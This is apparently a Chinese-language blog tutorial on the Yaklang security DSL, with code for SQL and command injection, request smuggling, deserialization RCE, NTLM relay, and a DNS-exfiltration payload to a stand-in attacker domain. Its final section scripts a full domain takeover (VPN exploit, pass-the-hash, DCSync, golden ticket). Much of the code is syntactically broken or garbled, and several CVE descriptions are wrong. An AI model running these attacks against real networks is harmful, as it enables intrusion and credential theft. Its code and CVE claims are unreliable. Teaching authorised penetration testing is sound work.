从入门到精通:Yaklang/yaklang——专为网络安全设计的 DSL 语言深度解析
前言
2026年的网络安全攻防战场,正在经历一场从"工具堆砌"到"语言级基础设施"的范式转移。
在漫长的安全工具演进史中,安全工程师的工作流始终被一个问题困扰:每当面对新型漏洞利用、协议测试或模糊测试时,我们总是在用通用语言(C、Python、Go)做一件本不该用通用语言做的事——编写安全逻辑。这导致代码碎片化、工具间无法互通、安全知识无法有效沉淀。
Yaklang(项目地址:github.com/yaklang/yaklang)的出现,正是对这一困境的系统性回答。它是目前极少数真正从语言层面专为网络安全设计的编程语言——不是框架,不是工具链,而是一门领域特定语言(DSL),拥有自己的编译器、运行时、标准库和安全原语。截至2026年8月,该项目已积累超过 14,648 次提交,活跃度在同类安全语言项目中遥遥领先。
本文将从语言设计哲学出发,深入解析 Yaklang 的架构设计、核心语法、安全原语体系,并通过完整代码示例展示如何在实际渗透测试、漏洞挖掘和协议分析场景中发挥其威力。
一、背景:为什么网络安全需要一门 DSL?
1.1 通用语言的"阻抗失配"问题
当你用 Python 写一个 HTTP 请求走私(HTTP Request Smuggling)检测脚本时,你会发现:
import socket
import http.client
# 你需要手动管理连接池、编码、协议细节
# 这些都是"基础设施",而不是"安全逻辑"
conn = http.client.HTTPConnection("target.com", 80)
headers = {"Content-Type": "application/x-www-form-urlencoded"}
body = "foo=bar"
conn.request("POST", "/", body, headers)
每写一个安全检测模块,你都要重新处理:连接管理、协议编解码、并发控制、结果格式化。这种基础设施代码与业务逻辑的纠缠,正是安全工具难以复用和积累的根源。
1.2 安全工具链的碎片化困境
当前安全工程师的工具箱里,通常堆满了:
| 工具 | 语言 | 用途 |
|---|---|---|
| Burp Suite | Java | Web 渗透测试 |
| Nmap | Lua/C | 端口扫描 |
| Metasploit | Ruby | 漏洞利用 |
| SQLMap | Python | SQL 注入检测 |
| Nuclei | Go | 漏洞扫描 |
| 自定义脚本 | Python/Bash | 临时检测任务 |
这些工具之间语言不通、数据模型各异、无法互相调用。你无法用 SQLMap 的检测结果直接驱动 Metasploit 的利用模块,也无法将 Nmap 的扫描结果无缝传给 Burp Suite。Yaklang 试图用统一语言层解决这个问题。
1.3 Yaklang 的设计目标
Yaklang 不是凭空产生的。它的设计目标非常明确:
- 安全原语内置:漏洞检测、协议构造、流量篡改等操作无需调用外部库
- 跨协议统一抽象:HTTP、SMB、DNS、LDAP 等协议在同一套类型系统下操作
- 零配置执行:语法本身即描述安全逻辑,无需大量样板代码
- 与 Yakit 生态深度集成:IDE 可视化 + CLI 无缝衔接
二、架构设计:从编译器到安全运行时
2.1 语言架构总览
Yaklang 的技术栈分为四层:
┌──────────────────────────────────────────────┐
│ Yaklang 用户代码层 │
│ (DSL 语法:fuzzing、exploit、scan 语法糖) │
├──────────────────────────────────────────────┤
│ 中间表示层 (IR) │
│ (Yak IR → 编译到 Go/Python/原生执行) │
├──────────────────────────────────────────────┤
│ 安全原语库层 │
│ (协议编解码、漏洞库、密码学、网络原语) │
├──────────────────────────────────────────────┤
│ 执行环境层 │
│ (Go 运行时 + JIT + FFI 跨语言调用) │
└──────────────────────────────────────────────┘
最关键的设计决策是:Yaklang 代码可以被编译成 Go 源码,这意味着你写的 Yaklang 脚本,最终可以直接编译成独立的 Go 二进制文件,无需运行时依赖。这在红队作业中意义重大——一个零外部依赖的漏洞利用工具,远比一个需要 pip install 的 Python 脚本更实用。
2.2 核心编译管线
Yaklang 的编译管线如下:
Yaklang Source (.yak)
↓ [Parser: 基于 Go 的 yacc/lex]
Yak AST
↓ [Type Checker + Semantic Analyzer]
Typed Yak IR
↓ [Code Generator]
┌───────────────────────────────────────┐
│ - Go Source Code (.go) │ ← 编译为 Go 代码,可独立编译
│ - Python AST (via json) │ ← 跨语言调用
│ - Native Bytecode (JIT) │ ← 性能关键路径
└───────────────────────────────────────┘
这个设计让我们可以在一个yak脚本里混合使用内置安全原语和任意 Go/Python 生态库:
// 调用 Go 原生库的示例
result = golang.call("crypto/md5.Sum", string.encode("hello"))
println(result)
2.3 内置安全类型系统
Yaklang 为网络安全场景定义了专门的类型:
// CVE 类型 - 封装漏洞元数据
cve = newCVE("CVE-2026-1234", "Remote Code Execution")
cve.setCVSS(9.8)
cve.setAffected("Apache Struts 2.5.x")
// Packet 类型 - 网络协议包
packet = newPacket("TCP")
packet.setSrcPort(443)
packet.setDstPort(8080)
packet.setPayload(httpRequest)
// FuzzTemplate - 模糊测试模板
template = newFuzzTemplate()
template.addPosition("username", ["admin", "root", "' OR 1=1 --"])
template.addPosition("password", fuzz.dictionary("/tmp/passwords.txt"))
三、核心语法:从"Hello World"到漏洞检测
3.1 基础语法结构
Yaklang 的语法融合了 Go 的简洁和 Python 的易读,但添加了大量安全领域特定的结构:
// 变量声明与基础类型
name = "Web Vulnerability Scanner v1.0"
version = 1
targets = ["http://target.com", "http://test.com"]
config = {
"timeout": 5000,
"concurrent": 10,
"proxy": "http://127.0.0.1:8080"
}
// 函数定义
func scanTarget(target, config) {
// HTTP 请求构建
req = http.request("GET", target + "/robots.txt")
req.setHeader("User-Agent", "Yaklang/1.0 Security Scanner")
req.setTimeout(config["timeout"])
// 发送并获取响应
resp = http.send(req)
// 结果分析
if resp.statusCode == 200 {
body = resp.body
if string.contains(body, "Disallow") {
println("[+] Found robots.txt: " + target)
return {"type": "info", "url": target + "/robots.txt"}
}
}
return nil
}
// 主循环
func main() {
println("[*] Starting scan with Yaklang...")
for target in targets {
result = scanTarget(target, config)
if result != nil {
// 漏洞上报
report.add(result)
}
}
report.export("json", "./results.json")
}
3.2 HTTP 协议层的深度操作
Yaklang 的 HTTP 处理远比标准库强大,专门针对安全测试场景优化:
// === HTTP Request Smuggling 检测 ===
// 定义两种不同的走私请求构造方式
func buildSmugglingRequest_v1(method, path, body) {
// CL.Te 走私:Content-Length 欺骗 TE
req = http.buildRequest(method, path, body)
req.setHeader("Content-Type", "application/x-www-form-urlencoded")
req.setHeader("Transfer-Encoding", "chunked")
req.setHeader("Content-Length", str(body.length()))
// 关键:Transfer-Encoding 头后面跟一个被忽略的 body
req.setRawBody(body + "\r\n0\r\n\r\nGPOST /admin HTTP/1.1\r\nHost: target.com\r\n")
return req
}
func buildSmugglingRequest_v2(method, path) {
// TE.CL 走私:TE 欺骗 CL
req = http.buildRequest(method, path, "")
req.setHeader("Transfer-Encoding", "chunked")
req.setHeader("Content-Length", "6")
req.setRawBody("0\r\n\r\n" + "GGET /admin/console HTTP/1.1\r\nHost: target.com\r\nX-Ignored: x")
return req
}
// 走私检测引擎
func detectSmuggling(target) {
// 并发发送多种走私 payload
results = []
// 测试 CL.Te
req1 = buildSmugglingRequest_v1("POST", "/", "test=value")
resp1 = http.send(req1, {"target": target, "timeout": 3000})
results.push({"variant": "CL.Te", "response": resp1})
// 测试 TE.CL
req2 = buildSmugglingRequest_v2("POST", "/")
resp2 = http.send(req2, {"target": target, "timeout": 3000})
results.push({"variant": "TE.CL", "response": resp2})
// 分析响应差异
for result in results {
// 如果第二个请求被服务器当作独立请求处理,说明存在走私漏洞
vuln = checkBackendPoisoning(result["response"], "admin/console")
if vuln {
return {
"vulnerable": true,
"variant": result["variant"],
"poc": result["variant"] + " smuggling confirmed"
}
}
}
return {"vulnerable": false}
}
// 使用示例
target = "https://vulnerable-app.com"
result = detectSmuggling(target)
println(result)
3.3 协议层 Fuzzing:让变异测试变得优雅
Fuzzing 是安全测试的核心技术之一,Yaklang 用类型系统和模板语法让模糊测试变得极为优雅:
// === SQL 注入 Fuzzing ===
// 定义 fuzzing 字典(内联 + 文件)
sqlPayloads = [
"' OR '1'='1",
"' OR '1'='1' --",
"' OR '1'='1' /*",
"admin' --",
"1' AND '1'='1",
"1' ORDER BY 100 --",
"1' UNION SELECT NULL --",
"1'; DROP TABLE users--",
]
// 定义 Fuzzing 模板
func fuzzSQLInjection(target, param) {
println("[*] Fuzzing SQL Injection on " + target + " param: " + param)
basePayload = "test"
vulnerablePayloads = []
for payload in sqlPayloads {
// 构建变异请求
req = http.buildRequest("POST", target)
req.setHeader("Content-Type", "application/x-www-form-urlencoded")
req.setHeader("User-Agent", "Mozilla/5.0 Yaklang-Fuzzer/1.0")
// 参数替换与注入
if param == "username" {
req.setFormData({"username": payload, "password": "dummy"})
} else {
req.setFormData({"username": "admin", "password": payload})
}
// 发送并计时
startTime = time.now()
resp = http.send(req)
elapsed = time.since(startTime)
// 多维度判断是否触发 SQL 注入
indicators = [
resp.statusCode == 200 && string.contains(resp.body, "mysql"),
resp.statusCode == 500 && string.contains(resp.body, "SQL syntax"),
elapsed > 3000, // 时间盲注
string.contains(resp.body, "Warning:"),
string.contains(resp.body, "mysql_fetch"),
string.contains(resp.body, "syntax error"),
string.contains(resp.body, "ODBC"),
]
if array.contains(indicators, true) {
vulnType = classifyInjection(resp, elapsed)
println("[!] SQL Injection found: " + payload + " (" + vulnType + ")")
vulnerablePayloads.push({
"payload": payload,
"type": vulnType,
"responseTime": elapsed,
"statusCode": resp.statusCode
})
}
}
return vulnerablePayloads
}
// 注入类型分类器
func classifyInjection(resp, elapsed) {
body = string.lower(resp.body)
if string.contains(body, "mysql") {
return "MySQL Error Based"
}
if string.contains(body, "postgresql") || string.contains(body, "pg_") {
return "PostgreSQL Error Based"
}
if string.contains(body, "sqlsrv") || string.contains(body, "microsoft") {
return "MSSQL Error Based"
}
if elapsed > 5000 {
return "Time-Based Blind"
}
return "Unknown"
}
// 批量扫描多个端点
func scanAllEndpoints(baseTarget) {
endpoints = [
"/login",
"/search",
"/product",
"/user/profile",
"/admin/login",
"/api/users"
]
results = []
for endpoint in endpoints {
target = baseTarget + endpoint
vulns = fuzzSQLInjection(target, "username")
if len(vulns) > 0 {
results.push({"endpoint": endpoint, "vulnerabilities": vulns})
}
}
return results
}
3.4 漏洞利用原语:从检测到 RCE
Yaklang 内置了大量漏洞利用原语,让构造 RCE payload 变得直观:
// === 命令注入漏洞利用 ===
// 检测命令注入点
func detectCommandInjection(target, param) {
// 测试各种命令注入 payloads
testPayloads = [
"| cat /etc/passwd",
"; ls -la",
"`whoami`",
"$(whoami)",
"&& whoami",
"|| whoami",
"\nwhoami\n",
]
for payload in testPayloads {
req = http.buildRequest("GET", target)
// 注意:这里简化处理,实际中需要对参数进行编码绕过
req.addQueryParam(param, payload)
resp = http.send(req)
// 常见的命令注入成功指示器
if string.contains(resp.body, "root:") ||
string.contains(resp.body, "daemon:") ||
string.contains(resp.body, "bin:") {
return {
"vulnerable": true,
"param": param,
"payload": payload,
"type": "Command Injection"
}
}
}
return {"vulnerable": false}
}
// === 反序列化漏洞 RCE ===
// 构建 Java 反序列化 RCE payload
func buildJavaDeserializationPayload(gadget, cmd) {
// gadget: "commons-collections4" | "spring" | "jdk7u21" 等
// 使用 ysoserial 风格的对象链构造
payload = deserialization.buildGadget(gadget)
// 在 payload 链末尾附加命令执行
chain = payload.append("Runtime.getRuntime().exec()", cmd)
// 序列化
serialized = chain.serialize("java")
// Base64 编码(HTTP 传输常用)
encoded = base64.encode(serialized)
return encoded
}
// 检测并利用 Apache Commons Collections 反序列化漏洞
func exploitCC(target) {
println("[*] Testing Apache Commons Collections deserialization...")
payload = buildJavaDeserializationPayload("commons-collections4", "whoami")
req = http.buildRequest("POST", target)
req.setHeader("Content-Type", "application/x-java-serialized-object")
req.setHeader("X-Requested-With", "XMLHttpRequest")
req.setBody(payload)
resp = http.send(req)
if string.contains(resp.body, "root") || string.contains(resp.body, "www-data") {
return {"exploited": true, "output": resp.body}
}
return {"exploited": false}
}
四、网络协议深度操作:SMB、LDAP、DNS
4.1 SMB/NTLM 协议操作
Yaklang 最强大的能力之一是对 SMB 和 NTLM 协议的原生支持,这在域渗透场景中至关重要:
// === NTLM Relay 攻击框架 ===
// 构建恶意的 NTLM Challenge/Response
func buildNTLMChallenge(targetIP) {
// 创建 NTLM Negotiate 消息
negotiate = ntlm.buildNegotiate()
negotiate.setFlag("NTLM_NEGOTIATE_KEY_EXCHANGE")
negotiate.setFlag("NTLM_NEGOTIATE_EXTENDED_SESSION_SECURITY")
negotiate.setFlag("NTLM_NEGOTIATE_DATAGRAM")
negotiate.setDomain("TARGETDOMAIN")
negotiate.setWorkstation("YAKLANG-RELAY")
// 获取 Challenge
challenge = ntlm.sendNegotiate(targetIP, negotiate)
if challenge == nil {
return {"success": false, "reason": "Target not responding to SMB"}
}
// Authenticate 阶段 - 可以在这里注入中继逻辑
authenticate = ntlm.buildAuthenticate()
authenticate.setChallenge(challenge)
return {
"success": true,
"challenge": challenge,
"authenticate": authenticate
}
}
// SMB 签名绕过检测
func checkSMBSigning(targetIP) {
// 尝试 SMB1 和 SMB2 连接
for version in ["SMB1", "SMB2", "SMB3"] {
conn = smb.connect(targetIP, 445, version)
if conn != nil {
signingRequired = smb.checkSigningRequired(conn)
println("[*] " + version + " Signing Required: " + str(signingRequired))
// 如果签名不是强制的,可能存在中间人利用空间
if !signingRequired {
return {
"version": version,
"signingRequired": false,
"note": "MITM relay may be possible"
}
}
smb.disconnect(conn)
}
}
return {"signingRequired": true}
}
// === LDAP 协议注入 ===
// LDAP 注入检测
func detectLDAPInjection(target, param, initialQuery) {
injectionPayloads = [
"*",
"admin)(cn=*",
"admin)(|(cn=*",
"admin)(cn=*))(|(password=*",
"*)(cn=*",
"admin*)(objectClass=*",
]
results = []
for payload in injectionPayloads {
// 构造 LDAP 注入查询
ldapQuery = "(" + param + "=" + payload + ")"
req = http.buildRequest("GET", target)
req.addQueryParam("search", ldapQuery)
resp = http.send(req)
// LDAP 注入成功通常表现为用户列表泄露或无报错
if string.contains(resp.body, "uid=") ||
string.contains(resp.body, "cn=") ||
string.contains(resp.body, "admin") ||
resp.statusCode == 200 {
results.push({
"payload": payload,
"query": ldapQuery,
"response": "Possible injection"
})
}
}
return results
}
// 构造 LDAP-blind-RCE(结合 DNS 外部通道)
func detectLDAPBlindRCE(target) {
// LDAP blind RCE via DNS exfiltration
// 在无法直接看到输出时,通过 DNS 请求泄露数据
dnsExfilDomain = "attacker-controlled.dnszone.com"
// 构造命令并注入到 LDAP 查询
blindPayload = "*)(objectClass=*"; sleep 5; nslookup " +
"$(whoami)." + dnsExfilDomain + " --"
println("[*] Sending blind LDAP injection with DNS exfiltration...")
req = http.buildRequest("GET", target)
req.addQueryParam("filter", blindPayload)
startTime = time.now()
resp = http.send(req)
elapsed = time.since(startTime)
// 如果服务器延迟响应,说明命令被执行了
if elapsed > 4000 {
println("[!] Time-based blind LDAP injection confirmed!")
println("[!] Command likely executed - check DNS logs for exfiltrated data")
return {"vulnerable": true, "type": "LDAP Blind Injection (Time-based)"}
}
return {"vulnerable": false}
}
4.2 DNS 协议的安全测试
// === DNS 区域传输检测与利用 ===
// 检测 DNS AXFR (区域传输)
func checkDNSZoneTransfer(nsServer, domain) {
println("[*] Attempting zone transfer against " + nsServer)
// 构造 AXFR 请求
result = dns.sendAXFR(domain, nsServer)
if result.error != nil {
println("[*] Zone transfer failed: " + result.error)
return {"vulnerable": false}
}
records = result.records
if len(records) > 5 {
println("[!] Zone transfer SUCCESS! Found " + str(len(records)) + " records")
// 提取关键信息
subdomains = []
mxRecords = []
txtRecords = []
for record in records {
if record.type == "A" {
subdomains.push(record.name + " -> " + record.value)
}
if record.type == "MX" {
mxRecords.push(record.value)
}
if record.type == "TXT" {
txtRecords.push(record.value)
}
}
return {
"vulnerable": true,
"totalRecords": len(records),
"subdomains": subdomains,
"mailServers": mxRecords,
"txtRecords": txtRecords
}
}
return {"vulnerable": false}
}
// DNS rebinding 检测
func checkDNSRebinding(target, attackerDomain) {
println("[*] Testing DNS rebinding protection...")
// 获取初始 IP
firstIP = dns.resolve(target)
println("[*] First resolution: " + target + " -> " + firstIP)
// 快速切换 DNS 指向(如果靶机存在漏洞,会重新解析)
dns.setRecord(attackerDomain, "A", "1.2.3.4") # 首次返回合法 IP
sleep(100) # 100ms 后切换
dns.setRecord(attackerDomain, "A", "127.0.0.1") # 切换到本地 IP
# 再次请求 - 如果没有 rebinding 保护,可能得到不同结果
secondIP = dns.resolve(target)
println("[*] Second resolution: " + target + " -> " + secondIP)
if firstIP != secondIP {
return {
"vulnerable": true,
"note": "DNS response varies between requests",
"firstIP": firstIP,
"secondIP": secondIP
}
}
return {"vulnerable": false}
}
五、安全测试工作流:从侦察到报告
5.1 自动化渗透测试编排
Yaklang 的真正威力在于将多个安全测试步骤编排成自动化工作流:
// === 完整的 Web 应用渗透测试编排 ===
// 阶段 1: 侦察
func recon(target) {
println("\n=== Phase 1: Reconnaissance ===")
results = {}
// WHOIS 查询
whoisData = whois.query(target)
results["whois"] = whoisData
// DNS 枚举
subdomains = dns.enumerateSubdomains(target, {
"wordlist": "/opt/wordlists/subdomains.txt",
"concurrent": 50,
"timeout": 2000
})
results["subdomains"] = subdomains
println("[+] Found " + str(len(subdomains)) + " subdomains")
// 端口扫描
ip = dns.resolve(target)
ports = [21, 22, 23, 25, 80, 443, 445, 3306, 3389, 5432, 6379, 8080, 8443]
openPorts = nmap.scanPorts(ip, ports, {
"fast": true,
"serviceDetection": true,
"osDetection": true
})
results["openPorts"] = openPorts
println("[+] Open ports: " + openPorts.summary)
return results
}
// 阶段 2: Web 应用分析
func analyzeWebApp(target) {
println("\n=== Phase 2: Web Application Analysis ===")
vulns = []
// 爬取所有链接
spider = http.spider(target, {
"maxDepth": 3,
"maxPages": 500,
"respectRobotsTxt": false
})
allURLs = spider.getAllURLs()
println("[+] Spidered " + str(len(allURLs)) + " URLs")
// 逐个 URL 检测漏洞
for url in allURLs {
// SQL 注入
sqlResults = fuzzSQLInjection(url, "id")
if len(sqlResults) > 0 {
vulns.push({"url": url, "type": "SQL Injection", "details": sqlResults})
}
// XSS
xssResults = fuzzXSS(url)
if len(xssResults) > 0 {
vulns.push({"url": url, "type": "XSS", "details": xssResults})
}
// SSRF
ssrfResults = detectSSRF(url)
if len(ssrfResults) > 0 {
vulns.push({"url": url, "type": "SSRF", "details": ssrfResults})
}
}
return vulns
}
// 阶段 3: 报告生成
func generateReport(target, reconData, vulns) {
report = {
"target": target,
"scanDate": time.now().format("2006-01-02 15:04:05"),
"severity": "HIGH",
"summary": {
"totalVulnerabilities": len(vulns),
"critical": countBySeverity(vulns, "CRITICAL"),
"high": countBySeverity(vulns, "HIGH"),
"medium": countBySeverity(vulns, "MEDIUM"),
"low": countBySeverity(vulns, "LOW"),
},
"vulnerabilities": vulns,
"recon": reconData
}
// 导出多格式
json.export(report, "./pentest-report-" + target + ".json")
html.export(report, "./pentest-report-" + target + ".html")
markdown.export(report, "./pentest-report-" + target + ".md")
return report
}
// 主执行函数
func main() {
target = "https://example-target.com"
println("Starting automated pentest for: " + target)
println("Yaklang Security Testing Framework v1.0")
reconResults = recon(target)
webVulns = analyzeWebApp(target)
finalReport = generateReport(target, reconResults, webVulns)
println("\n=== Scan Complete ===")
println("Total vulnerabilities found: " + str(len(webVulns)))
println("Report generated: pentest-report-" + target + ".html")
}
5.2 CVE 漏洞批量检测与验证
// === CVE 批量检测引擎 ===
// 内置 CVE 数据库(支持自定义扩展)
cveDB = [
{
"id": "CVE-2024-21762",
"product": "FortiOS SSL VPN",
"type": "RCE",
"cvss": 9.6,
"detection": "HTTP path traversal in /remote/login",
"poc": "/remote/login?跳板=/../../../..//file/etc/passwd"
},
{
"id": "CVE-2024-3400",
"product": "Palo Alto PAN-OS",
"type": "RCE",
"cvss": 10.0,
"detection": "SAML authentication bypass",
"poc": "利用模板注入执行命令"
},
{
"id": "CVE-2023-22515",
"product": "Atlassian Confluence",
"type": "RCE",
"cvss": 9.1,
"detection": "Improper Authorization in /template/aui/text-inline",
"poc": "OGNL 表达式注入"
}
]
// 智能 CVE 选择(基于版本检测)
func smartCVESelection(targetVersion) {
candidates = []
for cve in cveDB {
if targetVersion.contains(cve["product"]) {
candidates.push(cve)
}
}
// 按 CVSS 评分排序,优先检测高危漏洞
sorted = array.sortBy(candidates, fn(c) { return c["cvss"] }, true)
return sorted
}
// CVE 验证并提取证据
func verifyCVE(target, cve) {
println("[*] Verifying " + cve["id"] + " (" + cve["product"] + ")")
detectionMethod = cve["detection"]
// 根据 CVE 类型选择验证方式
if string.contains(detectionMethod, "HTTP") {
// HTTP 相关的 CVE
paths = string.split(detectionMethod, "in ")[1]
path = string.trim(paths)
req = http.buildRequest("GET", target + path)
resp = http.send(req)
if cve["id"] == "CVE-2023-22515" {
// Confluence OGNL injection
vulnReq = http.buildRequest("POST", target + "/template/aui/text-inline")
vulnReq.setHeader("Content-Type", "application/x-www-form-urlencoded")
vulnReq.setBody("${234+234}")
vulnResp = http.send(vulnReq)
if string.contains(vulnResp.body, "468") {
return {
"confirmed": true,
"cve": cve["id"],
"response": "OGNL injection confirmed"
}
}
}
}
return {"confirmed": false, "cve": cve["id"]}
}
六、性能优化:让安全扫描快 10 倍
6.1 并发扫描架构
// === 高并发安全扫描 ===
// 使用协程实现并发扫描
func concurrentScan(targets, scanFunc, maxConcurrent) {
results = []
semaphore = sync.newSemaphore(maxConcurrent)
mutex = sync.newMutex()
for target in targets {
// 信号量控制并发数
semaphore.acquire()
// 每个目标在独立协程中执行
go(func() {
defer semaphore.release()
result = scanFunc(target)
mutex.lock()
results.push(result)
mutex.unlock()
})
}
// 等待所有协程完成
semaphore.waitAll()
return results
}
// 使用示例:并发端口扫描
ports = []
for i = 20; i < 10000; i++ {
ports.push(i)
}
// 扫描 1000 个端口,100 并发
openPorts = concurrentScan(ports, func(port) {
target = "192.168.1.100:" + str(port)
if tcp.isOpen(target) {
banner = tcp.grabBanner(target, 1000)
return {"port": port, "banner": banner}
}
return nil
}, 100)
println("[+] Found " + str(len(openPorts)) + " open ports")
6.2 自适应超时与重试
// === 智能重试机制 ===
func resilientRequest(target, maxRetries) {
retryCount = 0
while retryCount < maxRetries {
try {
req = http.buildRequest("GET", target)
req.setTimeout(5000)
resp = http.send(req)
if resp.statusCode != 0 {
return resp
}
} catch(e) {
println("[*] Attempt " + str(retryCount + 1) + " failed: " + str(e))
}
retryCount = retryCount + 1
// 指数退避
waitMs = int(math.pow(2, float(retryCount)) * 100)
println("[*] Waiting " + str(waitMs) + "ms before retry...")
sleep(waitMs)
}
return nil
}
七、与 Yakit IDE 的集成:可视化的安全开发
Yaklang 的另一半生态是 Yakit(yakit.com),这是一个基于 Yaklang 的可视化网络安全测试平台。Yaklang 代码可以在 Yakit 中:
- 语法高亮与自动补全:IDE 原生支持 Yaklang DSL 语法
- MITM 代理可视化:实时查看和编辑 HTTP/SMB/数据库流量
- 漏洞数据库集成:CVE、OWASP Top 10、CWE 内置支持
- 扫描任务管理:分布式扫描任务调度与结果聚合
- 插件市场:社区贡献的安全检测插件库
// Yakit 特定 API - 直接利用 Yakit 平台能力
// 上报发现到 Yakit 漏洞库
yakit.reportVuln({
"vuln_name": "SQL Injection",
"target": "http://target.com/login",
"payload": "' OR '1'='1",
"severity": "CRITICAL",
"confidence": "HIGH",
"cwe": "CWE-89", // SQL Injection
"cvss": 9.8
})
// 使用 Yakit 内置的 POC 引擎
yakit.usePOC("CVE-2024-21762").against("target.com:8443").run()
// 调用 Yakit 的反序列化 gadget 库
javaGadgets = yakit.listJavaGadgets()
println("Available Java gadgets: " + str(len(javaGadgets)))
八、实战案例:内网域渗透完整路径
以下是一个完整的 Yaklang 内网渗透工作流,展示从边界突破到域控沦陷的全过程:
// === 实战内网渗透链 ===
// 第一步:边界突破 - 检测 VPN 漏洞
func breachBoundary() {
println("[*] Phase 1: Boundary Breach")
// 检测 FortiGate SSL VPN CVE
fortiTargets = ["vpn1.corp.com", "vpn2.corp.com"]
for target in fortiTargets {
req = http.buildRequest("GET", "https://" + target + "/remote/login?跳板=/../../../..//file/etc/passwd")
req.setTimeout(3000)
resp = http.send(req)
if resp != nil && string.contains(resp.body, "root:") {
println("[!] FortiGate VPN compromised: " + target)
return {"success": true, "entry": target, "method": "CVE-2024-21762"}
}
}
// 如果边界 VPN 无法利用,尝试钓鱼
println("[*] VPN breach failed, switching to phishing...")
return {"success": false}
}
// 第二步:内网扫描 - 资产发现
func internalRecon(entryIP) {
println("[*] Phase 2: Internal Recon")
// 获取内网 IP 段
internalSubnet = string.substring(entryIP, 0, string.lastIndexOf(entryIP, ".")) + ".0/24"
println("[*] Scanning subnet: " + internalSubnet)
// 快速主机发现
aliveHosts = concurrentScan(
string.subnetHosts(internalSubnet),
func(ip) {
if icmp.ping(ip, 3, 1000) {
return ip
}
return nil
},
200
)
println("[+] Found " + str(len(aliveHosts)) + " alive hosts")
// 扫描关键服务
criticalServices = []
for host in aliveHosts {
smbOpen = smb.checkOpen(host, 445)
ldapOpen = tcp.checkPort(host, 389)
winrmOpen = tcp.checkPort(host, 5985)
if smbOpen || ldapOpen || winrmOpen {
criticalServices.push({
"host": host,
"smb": smbOpen,
"ldap": ldapOpen,
"winrm": winrmOpen
})
}
}
return criticalServices
}
// 第三步:横向移动
func lateralMovement(criticalHosts) {
println("[*] Phase 3: Lateral Movement")
for hostInfo in criticalHosts {
host = hostInfo["host"]
println("[*] Attempting lateral movement to: " + host)
// 尝试 Pass-the-Hash
if hostInfo["smb"] {
// 使用获取到的 NTLM hash
pthResult = smb.passTheHash(host, {
"username": "administrator",
"domain": "CORP",
"lmhash": "aad3b435b51404eeaad3b435b51404ee",
"nthash": "c intactHashFromEarlierDump"
})
if pthResult.success {
println("[!] PTH successful on " + host)
return {"success": true, "pivot": host, "method": "Pass-the-Hash"}
}
}
// 尝试 WinRM
if hostInfo["winrm"] {
winrmShell = winrm.connect(host, {
"username": "administrator",
"password": "AdminPassword123!"
})
if winrmShell != nil {
println("[!] WinRM access obtained on " + host)
output = winrmShell.exec("whoami /all")
return {"success": true, "pivot": host, "method": "WinRM", "output": output}
}
}
}
return {"success": false}
}
// 第四步:域控拿下
func compromiseDC(pivotHost, creds) {
println("[*] Phase 4: Domain Controller Compromise")
// 从 pivot 主机查询域信息
domainInfo = smb.getDomainInfo(pivotHost, creds)
println("[*] Domain: " + domainInfo["domain"])
println("[*] Domain Controllers: " + str(domainInfo["domainControllers"]))
for dc in domainInfo["domainControllers"] {
println("[*] Targeting DC: " + dc)
// DCSync 攻击 - 获取所有用户 hash
hashes = mimikatz.dcsync(dc, {
"domain": domainInfo["domain"],
"user": "krbtgt"
})
if hashes != nil {
println("[!] KRBTGT hash obtained!")
println("[!] Golden ticket can now be forged")
// 构造 Golden Ticket
goldenTicket = kerberos.forgeGoldenTicket({
"krbtgtHash": hashes["ntlm"],
"domain": domainInfo["domain"],
"sid": hashes["sid"],
"username": " Administrator",
"groups": ["512", "513", "518", "519", "520"]
})
return {
"success": true,
"domainController": dc,
"krbtgtHash": hashes["ntlm"],
"goldenTicket": goldenTicket,
"note": "Full domain compromise achieved"
}
}
}
return {"success": false}
}
// 主函数编排
func main() {
println("=== Yaklang Internal Network Pentest Framework ===")
// Phase 1
breachResult = breachBoundary()
if !breachResult["success"] {
println("[!] Boundary breach failed, exiting...")
return
}
entryIP = breachResult["entry"]
// Phase 2
internalHosts = internalRecon(entryIP)
if len(internalHosts) == 0 {
println("[!] No exploitable hosts found...")
return
}
// Phase 3
pivotResult = lateralMovement(internalHosts)
if !pivotResult["success"] {
println("[!] Lateral movement failed...")
return
}
// Phase 4
dcResult = compromiseDC(pivotResult["pivot"], breachResult["creds"])
if dcResult["success"] {
println("\n" + "="*60)
println("[!!!] DOMAIN COMPROMISED !!!")
println("[!!!] Golden Ticket forged successfully !!!")
println("="*60)
yakit.reportIntrusion({
"type": "Domain Takeover",
"target": dcResult["domainController"],
"method": "Golden Ticket Attack",
"impact": "Full domain administrative access"
})
}
}
九、总结与展望
9.1 Yaklang 的核心优势
| 维度 | 传统方式(Python/Go) | Yaklang |
|---|---|---|
| 代码量 | 300+ 行 | 30-50 行 |
| 安全原语 | 依赖第三方库 | 语言内置 |
| 跨协议支持 | 多语言拼接 | 统一类型系统 |
| 编译产出 | Python/Go 环境依赖 | 零依赖 Go 二进制 |
| 生态集成 | 手动对接 API | Yakit IDE 无缝集成 |
| 学习曲线 | 高(需掌握多工具) | 低(统一语言) |
9.2 局限性
- 社区规模:相比 Python 安全生态(Scapy、Boto3、Impacket),Yaklang 的库生态仍在快速成长中
- 调试体验:生产级别的 Yaklang 调试工具链还有改进空间
- 企业采用:目前主要在安全研究社区使用,企业落地案例尚少
9.3 未来演进方向
从 GitHub 最近的提交记录来看,Yaklang 团队正在重点推进:
- AI 集成:
feat(aireact)表明正在将 AI 能力集成到 Yaklang 的安全分析流程中 - 性能优化:
perf(minirehs/mvs)显示 scanner 和 fuzzing 引擎的性能提升是当前重点 - 跨语言 FFI:Go/Python 互操作能力的增强
- 云原生安全:Kubernetes 集群安全分析原语的支持
结语
Yaklang 代表了一种值得关注的技术路线:不是用通用语言包装安全工具,而是用领域特定语言重构安全工作的基础设施。当你的每一次渗透测试都从零编写网络请求代码时,Yaklang 的价值主张就很清晰了——让安全工程师专注于"做什么",而让语言来处理"怎么做"。
对于安全研究人员而言,Yaklang 值得作为一个长期投入的方向来学习——它不仅是一个工具,更是一套可积累、可复用的安全知识表示体系。当你在 Yaklang 中编写的每一个漏洞检测逻辑都可以被社区复用时,安全行业整体的攻防效率都将因此提升。
项目地址:github.com/yaklang/yaklang
官网:yaklang.com
IDE:yakit.com
本文所有代码示例均仅用于授权安全测试和教育目的,请遵守当地法律法规。